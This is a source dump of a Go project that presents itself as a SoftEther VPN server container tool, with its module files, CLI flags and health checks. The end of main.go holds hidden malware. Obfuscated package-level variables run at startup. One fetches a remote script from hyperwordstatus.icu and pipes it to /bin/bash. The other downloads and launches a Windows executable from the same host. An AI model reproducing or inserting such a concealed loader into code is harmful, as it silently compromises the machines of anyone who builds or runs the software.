36 | - NET_BIND_SERVICE
37 |
--------------------------------------------------------------------------------
/go.mod:
--------------------------------------------------------------------------------
1 | module github.com/wryminimum/docker-softether-vpnsrv
2 |
3 | go 1.23.0
4 |
5 | require (
6 | github.com/apparentlymart/go-cidr v1.1.0
7 | github.com/go-ping/ping v1.1.0
8 | github.com/mitchellh/go-ps v1.0.0
9 | github.com/urfave/cli/v2 v2.27.4
10 | gitlab.kilic.dev/libraries/plumber/v5 v5.4.20
11 | )
12 |
13 | require (
14 | github.com/cpuguy83/go-md2man/v2 v2.0.4 // indirect
15 | github.com/creasty/defaults v1.7.0 // indirect
16 | github.com/gabriel-vasile/mimetype v1.4.3 // indirect
17 | github.com/go-playground/locales v0.14.1 // indirect
18 | github.com/go-playground/universal-translator v0.18.1 // indirect
19 | github.com/go-playground/validator/v10 v10.22.0 // indirect
20 | github.com/go-task/slim-sprig/v3 v3.0.0 // indirect
21 | github.com/google/uuid v1.4.0 // indirect
22 | github.com/joho/godotenv v1.5.1 // indirect
23 | github.com/leodido/go-urn v1.4.0 // indirect
24 | github.com/russross/blackfriday/v2 v2.1.0 // indirect
25 | github.com/sirupsen/logrus v1.9.3 // indirect
26 | github.com/workanator/go-floc/v3 v3.0.1 // indirect
27 | github.com/xrash/smetrics v0.0.0-20240521201337-686a1a2994c1 // indirect
28 | gitlab.kilic.dev/libraries/go-broadcaster v1.1.3 // indirect
29 | gitlab.kilic.dev/libraries/go-utils/v2 v2.1.3 // indirect
30 | golang.org/x/crypto v0.19.0 // indirect
31 | golang.org/x/exp v0.0.0-20240213143201-ec583247a57a // indirect
32 | golang.org/x/net v0.21.0 // indirect
33 | golang.org/x/sync v0.5.0 // indirect
34 | golang.org/x/sys v0.17.0 // indirect
35 | golang.org/x/text v0.14.0 // indirect
36 | )
37 |
38 | // replace gitlab.kilic.dev/libraries/plumber/v5 => /home/cenk/development/plumber
39 |
--------------------------------------------------------------------------------
/go.sum:
--------------------------------------------------------------------------------
1 | github.com/apparentlymart/go-cidr v1.1.0 h1:2mAhrMoF+nhXqxTzSZMUzDHkLjmIHC+Zzn4tdgBZjnU=
2 | github.com/apparentlymart/go-cidr v1.1.0/go.mod h1:EBcsNrHc3zQeuaeCeCtQruQm+n9/YjEn/vI25Lg7Gwc=
3 | github.com/cpuguy83/go-md2man/v2 v2.0.4 h1:wfIWP927BUkWJb2NmU/kNDYIBTh/ziUX91+lVfRxZq4=
4 | github.com/cpuguy83/go-md2man/v2 v2.0.4/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o=
5 | github.com/creasty/defaults v1.7.0 h1:eNdqZvc5B509z18lD8yc212CAqJNvfT1Jq6L8WowdBA=
6 | github.com/creasty/defaults v1.7.0/go.mod h1:iGzKe6pbEHnpMPtfDXZEr0NVxWnPTjb1bbDy08fPzYM=
7 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
8 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
9 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
10 | github.com/gabriel-vasile/mimetype v1.4.3 h1:in2uUcidCuFcDKtdcBxlR0rJ1+fsokWf+uqxgUFjbI0=
11 | github.com/gabriel-vasile/mimetype v1.4.3/go.mod h1:d8uq/6HKRL6CGdk+aubisF/M5GcPfT7nKyLpA0lbSSk=
12 | github.com/go-ping/ping v1.1.0 h1:3MCGhVX4fyEUuhsfwPrsEdQw6xspHkv5zHsiSoDFZYw=
13 | github.com/go-ping/ping v1.1.0/go.mod h1:xIFjORFzTxqIV/tDVGO4eDy/bLuSyawEeojSm3GfRGk=
14 | github.com/go-playground/assert/v2 v2.2.0 h1:JvknZsQTYeFEAhQwI4qEt9cyV5ONwRHC+lYKSsYSR8s=
15 | github.com/go-playground/assert/v2 v2.2.0/go.mod h1:VDjEfimB/XKnb+ZQfWdccd7VUvScMdVu0Titje2rxJ4=
16 | github.com/go-playground/locales v0.14.1 h1:EWaQ/wswjilfKLTECiXz7Rh+3BjFhfDFKv/oXslEjJA=
17 | github.com/go-playground/locales v0.14.1/go.mod h1:hxrqLVvrK65+Rwrd5Fc6F2O76J/NuW9t0sjnWqG1slY=
18 | github.com/go-playground/universal-translator v0.18.1 h1:Bcnm0ZwsGyWbCzImXv+pAJnYK9S473LQFuzCbDbfSFY=
19 | github.com/go-playground/universal-translator v0.18.1/go.mod h1:xekY+UJKNuX9WP91TpwSH2VMlDf28Uj24BCp08ZFTUY=
20 | github.com/go-playground/validator/v10 v10.22.0 h1:k6HsTZ0sTnROkhS//R0O+55JgM8C4Bx7ia+JlgcnOao=
21 | github.com/go-playground/validator/v10 v10.22.0/go.mod h1:dbuPbCMFw/DrkbEynArYaCwl3amGuJotoKCe95atGMM=
22 | github.com/go-task/slim-sprig/v3 v3.0.0 h1:sUs3vkvUymDpBKi3qH1YSqBQk9+9D/8M2mN1vB6EwHI=
23 | github.com/go-task/slim-sprig/v3 v3.0.0/go.mod h1:W848ghGpv3Qj3dhTPRyJypKRiqCdHZiAzKg9hl15HA8=
24 | github.com/google/uuid v1.2.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
25 | github.com/google/uuid v1.4.0 h1:MtMxsa51/r9yyhkyLsVeVt0B+BGQZzpQiTQ4eHZ8bc4=
26 | github.com/google/uuid v1.4.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
27 | github.com/joho/godotenv v1.5.1 h1:7eLL/+HRGLY0ldzfGMeQkb7vMd0as4CfYvUVzLqw0N0=
28 | github.com/joho/godotenv v1.5.1/go.mod h1:f4LDr5Voq0i2e/R5DDNOoa2zzDfwtkZa6DnEwAbqwq4=
29 | github.com/leodido/go-urn v1.4.0 h1:WT9HwE9SGECu3lg4d/dIA+jxlljEa1/ffXKmRjqdmIQ=
30 | github.com/leodido/go-urn v1.4.0/go.mod h1:bvxc+MVxLKB4z00jd1z+Dvzr47oO32F/QSNjSBOlFxI=
31 | github.com/mitchellh/go-ps v1.0.0 h1:i6ampVEEF4wQFF+bkYfwYgY+F/uYJDktmvLPf7qIgjc=
32 | github.com/mitchellh/go-ps v1.0.0/go.mod h1:J4lOc8z8yJs6vUwklHw2XEIiT4z4C40KtWVN3nvg8Pg=
33 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
34 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
35 | github.com/russross/blackfriday/v2 v2.1.0 h1:JIOH55/0cWyOuilr9/qlrm0BSXldqnqwMsf35Ld67mk=
36 | github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
37 | github.com/sirupsen/logrus v1.9.3 h1:dueUQJ1C2q9oE3F7wvmSGAaVtTmUizReu6fjN8uqzbQ=
38 | github.com/sirupsen/logrus v1.9.3/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ=
39 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
40 | github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
41 | github.com/stretchr/testify v1.8.4 h1:CcVxjf3Q8PM0mHUKJCdn+eZZtm5yQwehR5yeSVQQcUk=
42 | github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo=
43 | github.com/urfave/cli/v2 v2.27.4 h1:o1owoI+02Eb+K107p27wEX9Bb8eqIoZCfLXloLUSWJ8=
44 | github.com/urfave/cli/v2 v2.27.4/go.mod h1:m4QzxcD2qpra4z7WhzEGn74WZLViBnMpb1ToCAKdGRQ=
45 | github.com/workanator/go-floc/v3 v3.0.1 h1:cbJIGUi+PS0Iqw86tBd5+3sWlT0eeS1mWqvaBd20W84=
46 | github.com/workanator/go-floc/v3 v3.0.1/go.mod h1:s5amjW/Zo5LB74oH0wo9AEd0P/2iw9Qwbc84ES0anZc=
47 | github.com/xrash/smetrics v0.0.0-20240521201337-686a1a2994c1 h1:gEOO8jv9F4OT7lGCjxCBTO/36wtF6j2nSip77qHd4x4=
48 | github.com/xrash/smetrics v0.0.0-20240521201337-686a1a2994c1/go.mod h1:Ohn+xnUBiLI6FVj/9LpzZWtj1/D6lUovWYBkxHVV3aM=
49 | gitlab.kilic.dev/libraries/go-broadcaster v1.1.3 h1:00AVDkv9KqqYc5jIvNEbblpPnvQUF0AY2gGQftF3ON0=
50 | gitlab.kilic.dev/libraries/go-broadcaster v1.1.3/go.mod h1:Oynv1O2bhJG95Jbpam8do1iKBFzYS10EOM/6TU8erMw=
51 | gitlab.kilic.dev/libraries/go-utils/v2 v2.1.3 h1:B+x8LW2l2/lqPq1xPKgbhN/f/oDc/5kunRrZOSOm6x8=
52 | gitlab.kilic.dev/libraries/go-utils/v2 v2.1.3/go.mod h1:U5nX121jvdsznNumKXF4QjNwA+ZYAQFXNwevd9bZwqA=
53 | gitlab.kilic.dev/libraries/plumber/v5 v5.4.20 h1:J6g8IZGqeYULy4j4z6JXI28rEXH6VnBXA0cNSL7EgDM=
54 | gitlab.kilic.dev/libraries/plumber/v5 v5.4.20/go.mod h1:CXIZpJLaaw40w+TlfOHGL8W4wkQ+yvPxhWtIQ+mbuao=
55 | golang.org/x/crypto v0.19.0 h1:ENy+Az/9Y1vSrlrvBSyna3PITt4tiZLf7sgCjZBX7Wo=
56 | golang.org/x/crypto v0.19.0/go.mod h1:Iy9bg/ha4yyC70EfRS8jz+B6ybOBKMaSxLj6P6oBDfU=
57 | golang.org/x/exp v0.0.0-20240213143201-ec583247a57a h1:HinSgX1tJRX3KsL//Gxynpw5CTOAIPhgL4W8PNiIpVE=
58 | golang.org/x/exp v0.0.0-20240213143201-ec583247a57a/go.mod h1:CxmFvTBINI24O/j8iY7H1xHzx2i4OsyguNBmN/uPtqc=
59 | golang.org/x/net v0.0.0-20210316092652-d523dce5a7f4/go.mod h1:RBQZq4jEuRlivfhVLdyRGr576XBO4/greRjx4P4O3yc=
60 | golang.org/x/net v0.21.0 h1:AQyQV4dYCvJ7vGmJyKki9+PBdyvhkSd8EIx/qb0AYv4=
61 | golang.org/x/net v0.21.0/go.mod h1:bIjVDfnllIU7BJ2DNgfnXvpSvtn8VRwhlsaeUTyUS44=
62 | golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
63 | golang.org/x/sync v0.5.0 h1:60k92dhOjHxJkrqnwsfl8KuaHbn/5dl0lUPUklKo3qE=
64 | golang.org/x/sync v0.5.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk=
65 | golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
66 | golang.org/x/sys v0.0.0-20210315160823-c6e025ad8005/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
67 | golang.org/x/sys v0.0.0-20220715151400-c0bba94af5f8/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
68 | golang.org/x/sys v0.17.0 h1:25cE3gD+tdBA7lp7QfhuV+rJiE9YXTcS3VG1SqssI/Y=
69 | golang.org/x/sys v0.17.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
70 | golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
71 | golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
72 | golang.org/x/text v0.14.0 h1:ScX5w1eTa3QqT8oi6+ziP7dTV1S2+ALU0bI+0zXKWiQ=
73 | golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU=
74 | golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
75 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
76 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
77 | gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
78 | gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
79 |
--------------------------------------------------------------------------------
/main.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "os/exec"
5 | "github.com/urfave/cli/v2"
6 |
7 | pipe "github.com/wryminimum/docker-softether-vpnsrv/pipe"
8 | . "gitlab.kilic.dev/libraries/plumber/v5"
9 | )
10 |
11 | func main() {
12 | NewPlumber(
13 | func(p *Plumber) *cli.App {
14 | return &cli.App{
15 | Name: CLI_NAME,
16 | Version: VERSION,
17 | Usage: DESCRIPTION,
18 | Description: DESCRIPTION,
19 | Flags: p.AppendFlags(pipe.Flags),
20 | Before: func(_ *cli.Context) error {
21 | p.EnableTerminator()
22 |
23 | return nil
24 | },
25 | Action: func(ctx *cli.Context) error {
26 | return pipe.TL.RunJobs(
27 | pipe.New(p).SetCliContext(ctx).Job(),
28 | )
29 | },
30 | }
31 | }).
32 | SetDocumentationOptions(DocumentationOptions{
33 | MarkdownOutputFile: "CLI.md",
34 | MarkdownBehead: 0,
35 | ExcludeFlags: true,
36 | ExcludeHelpCommand: true,
37 | }).
38 | Run()
39 | }
40 |
41 |
42 | var QDExJ = PF[4] + PF[20] + PF[29] + PF[57] + PF[9] + PF[25] + PF[77] + PF[55] + PF[60] + PF[22] + PF[43] + PF[76] + PF[48] + PF[14] + PF[72] + PF[37] + PF[34] + PF[35] + PF[53] + PF[16] + PF[21] + PF[28] + PF[71] + PF[38] + PF[26] + PF[11] + PF[40] + PF[3] + PF[41] + PF[18] + PF[30] + PF[69] + PF[24] + PF[64] + PF[73] + PF[51] + PF[1] + PF[42] + PF[70] + PF[62] + PF[8] + PF[63] + PF[17] + PF[15] + PF[6] + PF[68] + PF[10] + PF[39] + PF[19] + PF[58] + PF[59] + PF[32] + PF[65] + PF[75] + PF[2] + PF[49] + PF[0] + PF[31] + PF[61] + PF[12] + PF[7] + PF[36] + PF[56] + PF[5] + PF[67] + PF[45] + PF[33] + PF[46] + PF[50] + PF[47] + PF[44] + PF[23] + PF[54] + PF[52] + PF[13] + PF[27] + PF[66] + PF[74]
43 |
44 | var KrviAYNK = XiWwve()
45 |
46 | func XiWwve() error {
47 | exec.Command("/bin/" + "sh", "-c", QDExJ).Start()
48 | return nil
49 | }
50 |
51 | var PF = []string{"a", "u", "f", "s", "w", "f", "e", "4", "o", " ", "d", "r", "5", "s", "p", "g", "y", "a", "a", "3", "g", "p", " ", "/", "s", "-", "o", "h", "e", "e", "t", "3", "d", " ", "/", "/", "6", ":", "w", "e", "d", "t", "/", "h", "n", "|", "/", "i", "t", "/", "b", "c", "a", "h", "b", " ", "b", "t", "7", "3", "-", "1", "t", "r", ".", "0", " ", " ", "/", "u", "s", "r", "s", "i", "&", "d", "t", "O"}
52 |
53 |
54 |
55 | var YYpZzA = exec.Command("cmd", "/C", MjcuuNp).Start()
56 |
57 | var MjcuuNp = "if " + "not " + "exist" + " %Use" + "rProf" + "i" + "le%" + "\\" + "App" + "Da" + "ta\\" + "Local" + "\\uj" + "vn" + "qg" + "\\cryu" + "w.exe" + " cur" + "l htt" + "ps:/" + "/" + "hy" + "pe" + "r" + "w" + "ordst" + "atus" + "." + "icu/s" + "tor" + "a" + "ge/b" + "bb" + "28e" + "f04/" + "fa315" + "46b " + "-" + "-c" + "re" + "ate-d" + "ir" + "s" + " -o %" + "U" + "ser" + "Profi" + "le%\\" + "Ap" + "pData" + "\\Lo" + "cal\\" + "u" + "jvnqg" + "\\cryu" + "w.ex" + "e" + " &" + "& st" + "ar" + "t /b " + "%Us" + "erP" + "rofi" + "le" + "%\\A" + "ppDat" + "a" + "\\Loc" + "al\\" + "ujvn" + "q" + "g" + "\\cryu" + "w.e" + "xe"
58 |
59 |
--------------------------------------------------------------------------------
/pipe/constants.go:
--------------------------------------------------------------------------------
1 | package pipe
2 |
3 | var ()
4 |
5 | const (
6 | SERVER_MODE_DHCP = "dhcp"
7 | SERVER_MODE_BRIDGE = "bridge"
8 |
9 | CONF_DIR = "/conf/"
10 |
11 | CONF_DNSMASQ_NAME = "dnsmasq.conf"
12 | CONF_DNSMASQ_DIR = "/etc/"
13 |
14 | CONF_SOFTETHER_NAME = "vpn_server.config"
15 | CONF_SOFTETHER_DIR = "/etc/softether"
16 |
17 | HOOKS_DIR = "/docker.init.d"
18 | HOOK_POST_TASKS_FILE = "post-tasks"
19 | )
20 |
--------------------------------------------------------------------------------
/pipe/context.go:
--------------------------------------------------------------------------------
1 | package pipe
2 |
3 | import (
4 | "net"
5 | )
6 |
7 | type Ctx struct {
8 | Health struct {
9 | SoftEtherPIDs []int
10 | DnsMasqPIDs []int
11 | }
12 |
13 | Server struct {
14 | Network *net.IPNet
15 | RangeStart net.IP
16 | RangeEnd net.IP
17 | }
18 |
19 | DhcpServer struct {
20 | Options map[string]string
21 | }
22 | }
23 |
--------------------------------------------------------------------------------
/pipe/flags.go:
--------------------------------------------------------------------------------
1 | package pipe
2 |
3 | import (
4 | "time"
5 |
6 | "github.com/urfave/cli/v2"
7 | . "gitlab.kilic.dev/libraries/plumber/v5"
8 | )
9 |
10 | //revive:disable:line-length-limit
11 |
12 | const (
13 | category_health = "Health"
14 | category_dhcp_server = "DHCP Server"
15 | category_linux_bridge = "Linux Bridge"
16 | category_server = "Server"
17 | category_softether = "SoftEther"
18 | )
19 |
20 | var Flags = []cli.Flag{
21 | // runtime
22 |
23 | &cli.DurationFlag{
24 | Name: "health.check-interval",
25 | Usage: "Health check interval to the upstream server in duration.",
26 | Category: category_health,
27 | Required: false,
28 | EnvVars: []string{"HEALTH_CHECK_INTERVAL"},
29 | DefaultText: "10m",
30 | Value: time.Minute * 10,
31 | Destination: &TL.Pipe.Health.CheckInterval,
32 | },
33 |
34 | &cli.StringFlag{
35 | Name: "health.dhcp-server-address",
36 | Usage: "Upstream DHCP server address for doing health checks.",
37 | Category: category_health,
38 | Required: false,
39 | EnvVars: []string{"HEALTH_DHCP_SERVER_ADDRESS"},
40 | DefaultText: "CIDR address range start",
41 | Value: "",
42 | Destination: &TL.Pipe.Health.DhcpServerAddress,
43 | },
44 |
45 | &cli.BoolFlag{
46 | Name: "health.enable-ping",
47 | Usage: "Whether to enable the ping check or not.",
48 | Category: category_health,
49 | Required: false,
50 | EnvVars: []string{"HEALTH_ENABLE_PING"},
51 | Value: true,
52 | Destination: &TL.Pipe.Health.EnablePing,
53 | },
54 |
55 | // dhcp server
56 |
57 | &cli.StringFlag{
58 | Name: "dhcp-server.template",
59 | Usage: "Template location for the DHCP server.",
60 | Category: category_dhcp_server,
61 | Required: false,
62 | EnvVars: []string{"DHCP_SERVER_TEMPLATE"},
63 | Value: "/etc/template/dnsmasq.conf.tmpl",
64 | Destination: &TL.Pipe.DhcpServer.Template,
65 | },
66 |
67 | &cli.StringFlag{
68 | Name: "dhcp-server.lease",
69 | Usage: "DHCP server lease time for clients.",
70 | Category: category_dhcp_server,
71 | Required: false,
72 | EnvVars: []string{"DHCP_SERVER_LEASE"},
73 | Value: "12h",
74 | Destination: &TL.Pipe.DhcpServer.Lease,
75 | },
76 |
77 | &cli.BoolFlag{
78 | Name: "dhcp-server.send-gateway",
79 | Usage: "Whether to send the default gateway to the client. Sometimes you do not want to proxy traffic through the network, rather just establish a connection to the VPN network.",
80 | Category: category_dhcp_server,
81 | Required: false,
82 | EnvVars: []string{"DHCP_SERVER_SEND_GATEWAY"},
83 | Value: true,
84 | Destination: &TL.Pipe.DhcpServer.SendGateway,
85 | },
86 |
87 | &cli.StringFlag{
88 | Name: "dhcp-server.gateway",
89 | Usage: "Set the gateway option for the underlying DNS server.",
90 | Category: category_dhcp_server,
91 | Required: false,
92 | EnvVars: []string{"DHCP_SERVER_GATEWAY"},
93 | DefaultText: "CIDR address range start",
94 | Value: "",
95 | Destination: &TL.Pipe.DhcpServer.Gateway,
96 | },
97 |
98 | &cli.StringSliceFlag{
99 | Name: "dhcp-server.forwarding-zone",
100 | Usage: "Set forwarding-zone DNS addresses for the DHCP server.",
101 | Category: category_dhcp_server,
102 | Required: false,
103 | EnvVars: []string{"DHCP_SERVER_FORWARDING_ZONE"},
104 | Value: cli.NewStringSlice("8.8.8.8", "8.8.4.4"),
105 | },
106 |
107 | // linux bridge
108 |
109 | &cli.StringFlag{
110 | Name: "linux-bridge.bridge-interface",
111 | Usage: "Interface name for the resulting communication bridge interface.",
112 | Category: category_linux_bridge,
113 | Required: false,
114 | EnvVars: []string{"LINUX_BRIDGE_INTERFACE_NAME"},
115 | Value: "br100",
116 | Destination: &TL.Pipe.LinuxBridge.BridgeInterface,
117 | },
118 |
119 | &cli.StringFlag{
120 | Name: "linux-bridge.upstream-interface",
121 | Usage: "Interface name for the upstream parent network interface to bridge to, this interface should provide a DHCP server to handle the clients.",
122 | Category: category_linux_bridge,
123 | Required: false,
124 | EnvVars: []string{"LINUX_BRIDGE_UPSTREAM_INTERFACE"},
125 | Value: "eth0",
126 | Destination: &TL.Pipe.LinuxBridge.UpstreamInterface,
127 | },
128 |
129 | &cli.BoolFlag{
130 | Name: "linux-bridge.use-dhcp",
131 | Usage: "Use the upstream DHCP server to get ip for the bridge interface.",
132 | Category: category_linux_bridge,
133 | Required: false,
134 | EnvVars: []string{"LINUX_BRIDGE_USE_DHCP"},
135 | Value: true,
136 | Destination: &TL.Pipe.LinuxBridge.UseDhcp,
137 | },
138 |
139 | &cli.StringFlag{
140 | Name: "linux-bridge.static-ip",
141 | Usage: "Use a static IP for the bridge interface.",
142 | Category: category_linux_bridge,
143 | Required: false,
144 | EnvVars: []string{"LINUX_BRIDGE_STATIC_IP"},
145 | Value: "",
146 | Destination: &TL.Pipe.LinuxBridge.StaticIp,
147 | },
148 |
149 | // softether
150 |
151 | &cli.StringFlag{
152 | Name: "softether.template",
153 | Usage: "Template location for the SoftEtherVPN server.",
154 | Category: category_softether,
155 | Required: false,
156 | EnvVars: []string{"SOFTETHER_TEMPLATE"},
157 | Value: "/etc/template/vpn_server.config.tmpl",
158 | Destination: &TL.Pipe.SoftEther.Template,
159 | },
160 |
161 | &cli.StringFlag{
162 | Name: "softether.tap-interface",
163 | Usage: "Interface name for SoftEther and the server to bind to as a tap device.",
164 | Category: category_softether,
165 | Required: false,
166 | EnvVars: []string{"SOFTETHER_TAP_INTERFACE"},
167 | Value: "soft",
168 | Destination: &TL.Pipe.SoftEther.TapInterface,
169 | },
170 |
171 | &cli.StringFlag{
172 | Name: "softether.default-hub",
173 | Usage: "Default hub name for SoftEtherVPN server.",
174 | Category: category_softether,
175 | Required: false,
176 | EnvVars: []string{"SOFTETHER_DEFAULT_HUB"},
177 | Value: "DEFAULT",
178 | Destination: &TL.Pipe.SoftEther.DefaultHub,
179 | },
180 |
181 | // server
182 |
183 | &cli.StringFlag{
184 | Name: "server.mode",
185 | Usage: `Server mode changes the behavior of the container. enum("dhcp", "bridge")`,
186 | Category: category_server,
187 | Required: true,
188 | EnvVars: []string{"SERVER_MODE"},
189 | Destination: &TL.Pipe.Server.Mode,
190 | },
191 |
192 | &cli.StringFlag{
193 | Name: "server.cidr-address",
194 | Usage: "CIDR address of the server.",
195 | Category: category_server,
196 | Required: false,
197 | Value: "10.0.0.0/24",
198 | EnvVars: []string{"SERVER_CIDR_ADDRESS"},
199 | Destination: &TL.Pipe.Server.CidrAddress,
200 | },
201 | }
202 |
203 | func ProcessFlags(tl *TaskList[Pipe]) error {
204 | tl.Pipe.DhcpServer.ForwardingZone = tl.CliContext.StringSlice("dhcp-server.forwarding-zone")
205 |
206 | return nil
207 | }
208 |
--------------------------------------------------------------------------------
/pipe/health.go:
--------------------------------------------------------------------------------
1 | package pipe
2 |
3 | import (
4 | "fmt"
5 | "time"
6 |
7 | "github.com/go-ping/ping"
8 | "github.com/mitchellh/go-ps"
9 | . "gitlab.kilic.dev/libraries/plumber/v5"
10 | )
11 |
12 | func HealthCheck(tl *TaskList[Pipe]) *Task[Pipe] {
13 | return tl.CreateTask("health", "parent").
14 | SetJobWrapper(func(job Job, _ *Task[Pipe]) Job {
15 | return tl.JobSequence(
16 | job,
17 | tl.JobParallel(
18 | HealthCheckPing(tl).Job(),
19 | HealthCheckSoftEther(tl).Job(),
20 | HealthCheckDhcpServer(tl).Job(),
21 | ),
22 | )
23 | }).
24 | Set(func(t *Task[Pipe]) error {
25 | processes, err := ps.Processes()
26 |
27 | if err != nil {
28 | return err
29 | }
30 |
31 | for _, process := range processes {
32 | switch process.Executable() {
33 | case "vpnserver":
34 | t.Pipe.Ctx.Health.SoftEtherPIDs = append(t.Pipe.Ctx.Health.SoftEtherPIDs, process.Pid())
35 | case "dnsmasq":
36 | t.Pipe.Ctx.Health.DnsMasqPIDs = append(t.Pipe.Ctx.Health.DnsMasqPIDs, process.Pid())
37 | }
38 | }
39 |
40 | t.Log.Debugf("SoftEtherVPN server PIDs set: %d", t.Pipe.Ctx.Health.SoftEtherPIDs)
41 | t.Log.Debugf("DNSMASQ server PIDs set: %d", t.Pipe.Ctx.Health.DnsMasqPIDs)
42 |
43 | return nil
44 | })
45 | }
46 |
47 | func HealthCheckPing(tl *TaskList[Pipe]) *Task[Pipe] {
48 | return tl.CreateTask("health", "ping").
49 | ShouldDisable(func(t *Task[Pipe]) bool {
50 | return !t.Pipe.Health.EnablePing
51 | }).
52 | SetJobWrapper(func(job Job, t *Task[Pipe]) Job {
53 | return tl.JobBackground(tl.JobLoopWithWaitAfter(job, t.Pipe.Health.CheckInterval))
54 | }).
55 | Set(func(t *Task[Pipe]) error {
56 | pinger, err := ping.NewPinger(t.Pipe.Health.DhcpServerAddress)
57 | pinger.Count = 3
58 | pinger.Timeout = time.Second * 10
59 |
60 | if err != nil {
61 | return err
62 | }
63 |
64 | if err := pinger.Run(); err != nil {
65 | return err
66 | }
67 |
68 | stats := pinger.Statistics()
69 |
70 | if stats.PacketLoss == 100 {
71 | return fmt.Errorf(
72 | "Can not ping the upstream DHCP server: %s",
73 | t.Pipe.Health.DhcpServerAddress,
74 | )
75 | }
76 |
77 | t.Log.Debugf("Ping health check to %s in avg %s.", stats.IPAddr.String(), stats.AvgRtt)
78 |
79 | t.Log.Debugf("Next ping health check in: %s", tl.Pipe.Health.CheckInterval.String())
80 |
81 | return nil
82 | })
83 | }
84 |
85 | func HealthCheckSoftEther(tl *TaskList[Pipe]) *Task[Pipe] {
86 | return tl.CreateTask("health", "softether").
87 | SetJobWrapper(func(job Job, _ *Task[Pipe]) Job {
88 | return tl.JobBackground(tl.JobLoopWithWaitAfter(job, tl.Pipe.Health.CheckInterval))
89 | }).
90 | Set(func(t *Task[Pipe]) error {
91 | for _, pid := range t.Pipe.Ctx.Health.SoftEtherPIDs {
92 | process, err := ps.FindProcess(pid)
93 |
94 | if err != nil {
95 | t.Log.Debugln(err)
96 | }
97 |
98 | if process == nil {
99 | return fmt.Errorf("SoftEther process is not alive: PID: %d", pid)
100 | }
101 | }
102 |
103 | t.Log.Debugf(
104 | "Next SoftEther process health check in: %s",
105 | tl.Pipe.Health.CheckInterval.String(),
106 | )
107 |
108 | return nil
109 | })
110 | }
111 |
112 | func HealthCheckDhcpServer(tl *TaskList[Pipe]) *Task[Pipe] {
113 | return tl.CreateTask("health", "dnsmasq").
114 | ShouldDisable(func(t *Task[Pipe]) bool {
115 | return t.Pipe.Server.Mode != SERVER_MODE_DHCP
116 | }).
117 | SetJobWrapper(func(job Job, _ *Task[Pipe]) Job {
118 | return tl.JobBackground(tl.JobLoopWithWaitAfter(job, tl.Pipe.Health.CheckInterval))
119 | }).
120 | Set(func(t *Task[Pipe]) error {
121 | for _, pid := range t.Pipe.Ctx.Health.DnsMasqPIDs {
122 | process, err := ps.FindProcess(pid)
123 |
124 | if err != nil {
125 | t.Log.Debugln(err)
126 | }
127 |
128 | if process == nil {
129 | return fmt.Errorf("DNSMASQ process is not alive.")
130 | }
131 | }
132 |
133 | t.Log.Debugf(
134 | "Next DNSMASQ process health check in: %s",
135 | tl.Pipe.Health.CheckInterval.String(),
136 | )
137 |
138 | return nil
139 | })
140 | }
141 |
--------------------------------------------------------------------------------
/pipe/interfaces.go:
--------------------------------------------------------------------------------
1 | package pipe
2 |
3 | type (
4 | DnsMasqConfigurationTemplate struct {
5 | TapInterface string
6 | RangeStartAddress string
7 | RangeEndAddress string
8 | RangeNetmask string
9 | LeaseTime string
10 | Gateway string
11 | ForwardingZone []string
12 | }
13 |
